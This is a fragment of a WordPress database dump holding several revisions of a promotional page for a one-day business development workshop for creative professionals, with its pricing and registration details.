(1971, 2, '2012-03-01 15:55:11', '2012-03-01 22:55:11', '<h2><strong>Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business</span>\r\n</strong></h2>\r\n<strong>\r\nFacilitated by Thomson Dawson</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h2><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h2>\r\n<strong>Without sales there is no business.</strong>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</strong>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n\r\n<strong>Spend one day creating your bigger, better future!</strong>\r\nTake a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.\r\n\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\n&nbsp;\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 15:55:11', '2012-03-01 22:55:11', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-105/', 0, 'revision', '', 0);
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(1970, 2, '2012-03-01 15:53:49', '2012-03-01 22:53:49', '<h2><strong>Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business</span>\r\n</strong></h2>\r\n<strong>\r\nFacilitated by Thomson Dawson</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h2><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h2>\r\n<strong>Without sales there is no business.</strong>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</strong>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n\r\n<strong>Spend one day creating your bigger, better future!</strong>\r\nTake a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.\r\n\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><span style="color: #ff7f50;"><strong>The White Hot Center Guide to Creating Competitive Advantage in Your Business.</strong></span></h2>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 15:53:49', '2012-03-01 22:53:49', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-104/', 0, 'revision', '', 0),
(1974, 2, '2012-03-01 16:05:34', '2012-03-01 23:05:34', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\nJune 15,2012</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nin Ojai, California!\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n\r\n<strong>Spend one day creating your bigger, better future!</strong>\r\nTake a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.\r\n\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>\r\n</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.oo USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:05:34', '2012-03-01 23:05:34', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-108/', 0, 'revision', '', 0),
(1973, 2, '2012-03-01 16:03:11', '2012-03-01 23:03:11', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\nJune 15,2012</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nin Ojai, California!\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h2><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n\r\n<strong>Spend one day creating your bigger, better future!</strong>\r\nTake a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.\r\n\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.oo USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:03:11', '2012-03-01 23:03:11', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-107/', 0, 'revision', '', 0),
(1975, 2, '2012-03-01 16:09:52', '2012-03-01 23:09:52', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\nJune 15, 2012</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nin Ojai, California!\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\nThis workshop is limited to 24 participants.\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information  on the venue location on how confirm your spot. This workshop has limited capacity aand will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:09:52', '2012-03-01 23:09:52', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-109/', 0, 'revision', '', 0),
(1976, 2, '2012-03-01 16:12:03', '2012-03-01 23:12:03', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\nJune 15, 2012</span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\n\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\nThis workshop is limited to 24 participants.\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information  on the venue location on how confirm your spot. This workshop has limited capacity aand will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:12:03', '2012-03-01 23:12:03', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-110/', 0, 'revision', '', 0),
(1977, 2, '2012-03-01 16:13:00', '2012-03-01 23:13:00', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson</strong>\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\nThis workshop is limited to 24 participants.\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information  on the venue location on how confirm your spot. This workshop has limited capacity aand will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:13:00', '2012-03-01 23:13:00', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-111/', 0, 'revision', '', 0),
(1978, 2, '2012-03-01 16:21:00', '2012-03-01 23:21:00', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\nThis workshop is limited to 24 participants.\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information  on the venue location on how confirm your spot. This workshop has limited capacity aand will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:21:00', '2012-03-01 23:21:00', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-112/', 0, 'revision', '', 0),
